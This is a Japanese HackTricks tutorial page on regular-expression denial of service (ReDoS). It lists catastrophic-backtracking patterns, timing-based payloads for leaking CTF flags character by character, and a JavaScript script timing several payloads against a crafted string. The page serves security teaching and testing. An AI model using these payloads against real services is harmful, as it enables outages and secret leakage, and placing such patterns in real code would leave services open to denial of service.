Regular expression Denial of Service - ReDoS

正規表現サービス拒否攻撃 - ReDoS

HackTricksをサポートする

正規表現サービス拒否攻撃 (ReDoS)

正規表現サービス拒否攻撃 (ReDoS) は、誰かが正規表現(テキスト内のパターンを検索し一致させる方法)の動作の弱点を利用することで発生します。正規表現が使用されると、特に処理するテキストが大きくなると、非常に遅くなることがあります。この遅さは、テキストサイズがわずかに増加するだけで急速に悪化することがあります。攻撃者はこの問題を利用して、正規表現を使用するプログラムが長時間正常に動作しないようにすることができます。

問題のあるRegexナイーブアルゴリズム

詳細はhttps://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoSを確認してください。

悪意のあるRegex

悪意のある正規表現パターンとは、作成された入力に引っかかり、DoSを引き起こすことができるものです。悪意のある正規表現パターンは、通常、繰り返しを伴うグループ化や、繰り返しまたは重複を含む選択肢を含んでいます。悪意のあるパターンのいくつかの例は次のとおりです:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} for x > 10

これらはすべて、入力 aaaaaaaaaaaaaaaaaaaaaaaa! に対して脆弱です。

ReDoSペイロード

ReDoSによる文字列の流出

CTF(またはバグバウンティ)では、正規表現が一致する機密情報(フラグ)を制御しているかもしれません。その場合、正規表現が一致した場合にページをフリーズ(タイムアウトまたは長い処理時間)させることが有用です。そうすることで、文字列を1文字ずつ流出させることができます:

  • この投稿では、このReDoSルールを見つけることができます:^(?=<flag>)((.*)*)*salt$

  • 例:^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • この解説では、次のものが見つかります:<flag>(((((((.*)*)*)*)*)*)*)!

  • この解説では、次のものが使用されました:^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoSの入力と正規表現の制御

以下は、入力正規表現の両方を制御するReDoSの例です:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

ツール

参考文献

HackTricksをサポートする

Last updated